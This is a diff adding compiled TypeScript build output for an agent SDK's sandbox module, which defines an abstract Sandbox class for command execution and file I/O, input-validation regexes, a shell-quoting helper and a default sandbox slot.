+ env?: Record<string, string> | undefined;
26
+ }
27
+ /**
28
+ * Abstract execution environment.
29
+ *
30
+ * A Sandbox provides the runtime context where tools execute code,
31
+ * run commands, and interact with a filesystem. Multiple tools share
32
+ * the same Sandbox instance, giving them a common working directory
33
+ * and filesystem.
34
+ *
35
+ * Streaming methods (`executeStreaming`, `executeCodeStreaming`) are the abstract primitives.
36
+ * Non-streaming convenience methods (`execute`, `executeCode`) consume
37
+ * the stream and return the final result.
38
+ */
39
+ export declare abstract class Sandbox {
40
+ /**
41
+ * Execute a shell command, streaming output.
42
+ *
43
+ * Yields {@link StreamChunk} objects for stdout and stderr as output
44
+ * arrives. The final yield is an {@link ExecutionResult} with the
45
+ * exit code and complete output.
46
+ *
47
+ * @param command - The shell command to execute.
48
+ * @param options - Execution options.
49
+ * @returns Async iterable yielding StreamChunks followed by a final ExecutionResult.
50
+ */
51
+ abstract executeStreaming(command: string, options?: ExecuteOptions): AsyncIterable<StreamChunk | ExecutionResult>;
52
+ /**
53
+ * Execute source code via a language interpreter, streaming output.
54
+ *
55
+ * @param code - The source code to execute.
56
+ * @param language - The interpreter to use (e.g., `"python3"`, `"node"`).
57
+ * @param options - Execution options.
58
+ * @returns Async iterable yielding StreamChunks followed by a final ExecutionResult.
59
+ */
60
+ abstract executeCodeStreaming(code: string, language: string, options?: ExecuteOptions): AsyncIterable<StreamChunk | ExecutionResult>;
61
+ /**
62
+ * Read a file from the sandbox filesystem as raw bytes.
63
+ *
64
+ * Returns `Uint8Array` to support both text and binary files.
65
+ * Use {@link readText} for a convenience wrapper that decodes to a string.
66
+ *
67
+ * @param path - Path to the file to read.
68
+ * @returns The file contents as raw bytes.
69
+ * @throws Error if the file does not exist.
70
+ */
71
+ abstract readFile(path: string): Promise<Uint8Array>;
72
+ /**
73
+ * Write raw bytes to a file in the sandbox filesystem.
74
+ *
75
+ * Implementations should create parent directories if they do not exist.
76
+ * Use {@link writeText} for a convenience wrapper that encodes a string.
77
+ *
78
+ * @param path - Path to the file to write.
79
+ * @param content - The content to write.
80
+ */
81
+ abstract writeFile(path: string, content: Uint8Array): Promise<void>;
82
+ /**
83
+ * Remove a file from the sandbox filesystem.
84
+ *
85
+ * @param path - Path to the file to remove.
86
+ * @throws Error if the file does not exist.
87
+ */
88
+ abstract removeFile(path: string): Promise<void>;
89
+ /**
90
+ * List files in a sandbox directory.
91
+ *
92
+ * Returns {@link FileInfo} entries with name, isDir, and size metadata.
93
+ * Fields `isDir` and `size` may be `undefined` if the backend cannot
94
+ * determine them.
95
+ *
96
+ * @param path - Path to the directory to list.
97
+ * @returns Array of FileInfo entries for the directory contents.
98
+ * @throws Error if the directory does not exist.
99
+ */
100
+ abstract listFiles(path: string): Promise<FileInfo[]>;
101
+ /**
102
+ * Prefix applied to tool names when registered on an agent (e.g. `'sandbox'` produces
103
+ * `sandbox_bash`). Set to `undefined` to disable prefixing. Defaults to `'sandbox'`.
104
+ */
105
+ toolPrefix: string | undefined;
106
+ /**
107
+ * Tools this sandbox vends to an agent, registered during `Agent.initialize()`.
108
+ * A tool is skipped if the user already registered one with the same name.
109
+ * Override to provide them.
110
+ */
111
+ getTools(): Tool[];
112
+ /**
113
+ * Execute a shell command and return the result.
114
+ *
115
+ * Consumes {@link executeStreaming} and returns the final {@link ExecutionResult}.
116
+ * Use `executeStreaming` when you need to process output as it arrives.
117
+ *
118
+ * @param command - The shell command to execute.
119
+ * @param options - Execution options.
120
+ * @returns The execution result with exit code and output.
121
+ */
122
+ execute(command: string, options?: ExecuteOptions): Promise<ExecutionResult>;
123
+ /**
124
+ * Execute source code and return the result.
125
+ *
126
+ * Consumes {@link executeCodeStreaming} and returns the final {@link ExecutionResult}.
127
+ * Use `executeCodeStreaming` when you need to process output as it arrives.
128
+ *
129
+ * @param code - The source code to execute.
130
+ * @param language - The interpreter to use.
131
+ * @param options - Execution options.
132
+ * @returns The execution result with exit code and output.
133
+ */
134
+ executeCode(code: string, language: string, options?: ExecuteOptions): Promise<ExecutionResult>;
135
+ /**
136
+ * Read a text file from the sandbox filesystem.
137
+ *
138
+ * Convenience wrapper over {@link readFile} that decodes bytes as UTF-8.
139
+ * For other encodings, call `readFile` and decode manually.
140
+ *
141
+ * @param path - Path to the file to read.
142
+ * @returns The file contents decoded as a UTF-8 string.
143
+ */
144
+ readText(path: string): Promise<string>;
145
+ /**
146
+ * Write a text file to the sandbox filesystem.
147
+ *
148
+ * Convenience wrapper over {@link writeFile} that encodes a string as UTF-8.
149
+ * For other encodings, encode manually and call `writeFile`.
150
+ *
151
+ * @param path - Path to the file to write.
152
+ * @param content - The text content to write.
153
+ */
154
+ writeText(path: string, content: string): Promise<void>;
155
+ }
156
+ //# sourceMappingURL=base.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"base.d.ts","sourceRoot":"","sources":["../../../src/sandbox/base.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,QAAQ,EAAE,WAAW,EAAE,MAAM,YAAY,CAAA;AACxE,OAAO,KAAK,EAAE,IAAI,EAAE,MAAM,kBAAkB,CAAA;AAE5C;;GAEG;AACH,MAAM,WAAW,cAAc;IAC7B,uEAAuE;IACvE,OAAO,CAAC,EAAE,MAAM,GAAG,SAAS,CAAA;IAC5B,kFAAkF;IAClF,GAAG,CAAC,EAAE,MAAM,GAAG,SAAS,CAAA;IACxB,qFAAqF;IACrF,MAAM,CAAC,EAAE,WAAW,GAAG,SAAS,CAAA;IAChC;;;;OAIG;IACH,GAAG,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,GAAG,SAAS,CAAA;CACzC;AAED;;;;;;;;;;;GAWG;AACH,8BAAsB,OAAO;IAC3B;;;;;;;;;;OAUG;IACH,QAAQ,CAAC,gBAAgB,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,aAAa,CAAC,WAAW,GAAG,eAAe,CAAC;IAElH;;;;;;;OAOG;IACH,QAAQ,CAAC,oBAAoB,CAC3B,IAAI,EAAE,MAAM,EACZ,QAAQ,EAAE,MAAM,EAChB,OAAO,CAAC,EAAE,cAAc,GACvB,aAAa,CAAC,WAAW,GAAG,eAAe,CAAC;IAE/C;;;;;;;;;OASG;IACH,QAAQ,CAAC,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,UAAU,CAAC;IAEpD;;;;;;;;OAQG;IACH,QAAQ,CAAC,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,UAAU,GAAG,OAAO,CAAC,IAAI,CAAC;IAEpE;;;;;OAKG;IACH,QAAQ,CAAC,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;IAEhD;;;;;;;;;;OAUG;IACH,QAAQ,CAAC,SAAS,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,QAAQ,EAAE,CAAC;IAErD;;;OAGG;IACH,UAAU,EAAE,MAAM,GAAG,SAAS,CAAY;IAE1C;;;;OAIG;IACH,QAAQ,IAAI,IAAI,EAAE;IAMlB;;;;;;;;;OASG;IACG,OAAO,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,OAAO,CAAC,eAAe,CAAC;IASlF;;;;;;;;;;OAUG;IACG,WAAW,CAAC,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,cAAc,GAAG,OAAO,CAAC,eAAe,CAAC;IASrG;;;;;;;;OAQG;IACG,QAAQ,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC;IAI7C;;;;;;;;OAQG;IACG,SAAS,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;CAG9D"}
@@ -0,0 +1,97 @@
1
+ /**
2
+ * Base sandbox interface.
3
+ *
4
+ * Defines the abstract {@link Sandbox} class that all sandbox implementations
5
+ * must extend. The class provides six abstract operations (command execution,
6
+ * code execution, and file I/O) and convenience wrappers for common patterns.
7
+ */
8
+ /**
9
+ * Abstract execution environment.
10
+ *
11
+ * A Sandbox provides the runtime context where tools execute code,
12
+ * run commands, and interact with a filesystem. Multiple tools share
13
+ * the same Sandbox instance, giving them a common working directory
14
+ * and filesystem.
15
+ *
16
+ * Streaming methods (`executeStreaming`, `executeCodeStreaming`) are the abstract primitives.
17
+ * Non-streaming convenience methods (`execute`, `executeCode`) consume
18
+ * the stream and return the final result.
19
+ */
20
+ export class Sandbox {
21
+ /**
22
+ * Prefix applied to tool names when registered on an agent (e.g. `'sandbox'` produces
23
+ * `sandbox_bash`). Set to `undefined` to disable prefixing. Defaults to `'sandbox'`.
24
+ */
25
+ toolPrefix = 'sandbox';
26
+ /**
27
+ * Tools this sandbox vends to an agent, registered during `Agent.initialize()`.
28
+ * A tool is skipped if the user already registered one with the same name.
29
+ * Override to provide them.
30
+ */
31
+ getTools() {
32
+ return [];
33
+ }
34
+ // ---- Non-streaming convenience methods ----
35
+ /**
36
+ * Execute a shell command and return the result.
37
+ *
38
+ * Consumes {@link executeStreaming} and returns the final {@link ExecutionResult}.
39
+ * Use `executeStreaming` when you need to process output as it arrives.
40
+ *
41
+ * @param command - The shell command to execute.
42
+ * @param options - Execution options.
43
+ * @returns The execution result with exit code and output.
44
+ */
45
+ async execute(command, options) {
46
+ for await (const chunk of this.executeStreaming(command, options)) {
47
+ if (chunk.type === 'executionResult') {
48
+ return chunk;
49
+ }
50
+ }
51
+ throw new Error('executeStreaming() did not yield an ExecutionResult');
52
+ }
53
+ /**
54
+ * Execute source code and return the result.
55
+ *
56
+ * Consumes {@link executeCodeStreaming} and returns the final {@link ExecutionResult}.
57
+ * Use `executeCodeStreaming` when you need to process output as it arrives.
58
+ *
59
+ * @param code - The source code to execute.
60
+ * @param language - The interpreter to use.
61
+ * @param options - Execution options.
62
+ * @returns The execution result with exit code and output.
63
+ */
64
+ async executeCode(code, language, options) {
65
+ for await (const chunk of this.executeCodeStreaming(code, language, options)) {
66
+ if (chunk.type === 'executionResult') {
67
+ return chunk;
68
+ }
69
+ }
70
+ throw new Error('executeCodeStreaming() did not yield an ExecutionResult');
71
+ }
72
+ /**
73
+ * Read a text file from the sandbox filesystem.
74
+ *
75
+ * Convenience wrapper over {@link readFile} that decodes bytes as UTF-8.
76
+ * For other encodings, call `readFile` and decode manually.
77
+ *
78
+ * @param path - Path to the file to read.
79
+ * @returns The file contents decoded as a UTF-8 string.
80
+ */
81
+ async readText(path) {
82
+ return new TextDecoder().decode(await this.readFile(path));
83
+ }
84
+ /**
85
+ * Write a text file to the sandbox filesystem.
86
+ *
87
+ * Convenience wrapper over {@link writeFile} that encodes a string as UTF-8.
88
+ * For other encodings, encode manually and call `writeFile`.
89
+ *
90
+ * @param path - Path to the file to write.
91
+ * @param content - The text content to write.
92
+ */
93
+ async writeText(path, content) {
94
+ await this.writeFile(path, new TextEncoder().encode(content));
95
+ }
96
+ }
97
+ //# sourceMappingURL=base.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"base.js","sourceRoot":"","sources":["../../../src/sandbox/base.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAuBH;;;;;;;;;;;GAWG;AACH,MAAM,OAAgB,OAAO;IAwE3B;;;OAGG;IACH,UAAU,GAAuB,SAAS,CAAA;IAE1C;;;;OAIG;IACH,QAAQ;QACN,OAAO,EAAE,CAAA;IACX,CAAC;IAED,8CAA8C;IAE9C;;;;;;;;;OASG;IACH,KAAK,CAAC,OAAO,CAAC,OAAe,EAAE,OAAwB;QACrD,IAAI,KAAK,EAAE,MAAM,KAAK,IAAI,IAAI,CAAC,gBAAgB,CAAC,OAAO,EAAE,OAAO,CAAC,EAAE,CAAC;YAClE,IAAI,KAAK,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;gBACrC,OAAO,KAAK,CAAA;YACd,CAAC;QACH,CAAC;QACD,MAAM,IAAI,KAAK,CAAC,qDAAqD,CAAC,CAAA;IACxE,CAAC;IAED;;;;;;;;;;OAUG;IACH,KAAK,CAAC,WAAW,CAAC,IAAY,EAAE,QAAgB,EAAE,OAAwB;QACxE,IAAI,KAAK,EAAE,MAAM,KAAK,IAAI,IAAI,CAAC,oBAAoB,CAAC,IAAI,EAAE,QAAQ,EAAE,OAAO,CAAC,EAAE,CAAC;YAC7E,IAAI,KAAK,CAAC,IAAI,KAAK,iBAAiB,EAAE,CAAC;gBACrC,OAAO,KAAK,CAAA;YACd,CAAC;QACH,CAAC;QACD,MAAM,IAAI,KAAK,CAAC,yDAAyD,CAAC,CAAA;IAC5E,CAAC;IAED;;;;;;;;OAQG;IACH,KAAK,CAAC,QAAQ,CAAC,IAAY;QACzB,OAAO,IAAI,WAAW,EAAE,CAAC,MAAM,CAAC,MAAM,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAA;IAC5D,CAAC;IAED;;;;;;;;OAQG;IACH,KAAK,CAAC,SAAS,CAAC,IAAY,EAAE,OAAe;QAC3C,MAAM,IAAI,CAAC,SAAS,CAAC,IAAI,EAAE,IAAI,WAAW,EAAE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,CAAA;IAC/D,CAAC;CACF"}
@@ -0,0 +1,25 @@
1
+ /**
2
+ * Regex pattern for validating language/interpreter names.
3
+ * Allows alphanumeric characters, dots, hyphens, and underscores.
4
+ * Rejects path separators, spaces, and shell metacharacters to prevent injection.
5
+ */
6
+ export declare const LANGUAGE_PATTERN: RegExp;
7
+ /**
8
+ * Regex pattern for validating environment variable names: a leading letter or
9
+ * underscore, followed by letters, digits, or underscores (valid POSIX names).
10
+ * Names outside this set are rejected to prevent shell-syntax injection where a
11
+ * key is interpolated into a command, and to fail with a clear error otherwise.
12
+ */
13
+ export declare const ENV_KEY_PATTERN: RegExp;
14
+ /**
15
+ * Shell-escape a string for safe inclusion in a shell command.
16
+ *
17
+ * Wraps the value in single quotes and escapes any embedded single quotes
18
+ * using the '\'' pattern. Single quotes disable all shell expansion
19
+ * (variables, backticks, globbing), making this safe against injection.
20
+ *
21
+ * @param value - The string to escape.
22
+ * @returns The shell-escaped string wrapped in single quotes.
23
+ */
24
+ export declare function shellQuote(value: string): string;
25
+ //# sourceMappingURL=constants.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"constants.d.ts","sourceRoot":"","sources":["../../../src/sandbox/constants.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,eAAO,MAAM,gBAAgB,QAAsB,CAAA;AAEnD;;;;;GAKG;AACH,eAAO,MAAM,eAAe,QAA6B,CAAA;AAEzD;;;;;;;;;GASG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAEhD"}
@@ -0,0 +1,27 @@
1
+ /**
2
+ * Regex pattern for validating language/interpreter names.
3
+ * Allows alphanumeric characters, dots, hyphens, and underscores.
4
+ * Rejects path separators, spaces, and shell metacharacters to prevent injection.
5
+ */
6
+ export const LANGUAGE_PATTERN = /^[a-zA-Z0-9._-]+$/;
7
+ /**
8
+ * Regex pattern for validating environment variable names: a leading letter or
9
+ * underscore, followed by letters, digits, or underscores (valid POSIX names).
10
+ * Names outside this set are rejected to prevent shell-syntax injection where a
11
+ * key is interpolated into a command, and to fail with a clear error otherwise.
12
+ */
13
+ export const ENV_KEY_PATTERN = /^[a-zA-Z_][a-zA-Z0-9_]*$/;
14
+ /**
15
+ * Shell-escape a string for safe inclusion in a shell command.
16
+ *
17
+ * Wraps the value in single quotes and escapes any embedded single quotes
18
+ * using the '\'' pattern. Single quotes disable all shell expansion
19
+ * (variables, backticks, globbing), making this safe against injection.
20
+ *
21
+ * @param value - The string to escape.
22
+ * @returns The shell-escaped string wrapped in single quotes.
23
+ */
24
+ export function shellQuote(value) {
25
+ return "'" + value.replace(/'/g, "'\\''") + "'";
26
+ }
27
+ //# sourceMappingURL=constants.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"constants.js","sourceRoot":"","sources":["../../../src/sandbox/constants.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,MAAM,CAAC,MAAM,gBAAgB,GAAG,mBAAmB,CAAA;AAEnD;;;;;GAKG;AACH,MAAM,CAAC,MAAM,eAAe,GAAG,0BAA0B,CAAA;AAEzD;;;;;;;;;GASG;AACH,MAAM,UAAU,UAAU,CAAC,KAAa;IACtC,OAAO,GAAG,GAAG,KAAK,CAAC,OAAO,CAAC,IAAI,EAAE,OAAO,CAAC,GAAG,GAAG,CAAA;AACjD,CAAC"}
@@ -0,0 +1,3 @@
1
+ import type { Sandbox } from './base.js';
2
+ export declare const defaultSandbox: import("../default-slot.js").DefaultSlot<Sandbox>;
3
+ //# sourceMappingURL=default.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"default.d.ts","sourceRoot":"","sources":["../../../src/sandbox/default.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,WAAW,CAAA;AAGxC,eAAO,MAAM,cAAc,mDAE1B,CAAA"}
@@ -0,0 +1,3 @@
1
+ import { createDefaultSlot } from '../default-slot.js';
2
+ export const defaultSandbox = createDefaultSlot('No Sandbox configured. Pass a `sandbox` to the Agent to use sandbox features in this environment.');
3
+ //# sourceMappingURL=default.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"default.js","sourceRoot":"","sources":["../../../src/sandbox/default.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,iBAAiB,EAAE,MAAM,oBAAoB,CAAA;AAEtD,MAAM,CAAC,MAAM,cAAc,GAAG,iBAAiB,CAC7C,mGAAmG,CACpG,CAAA"}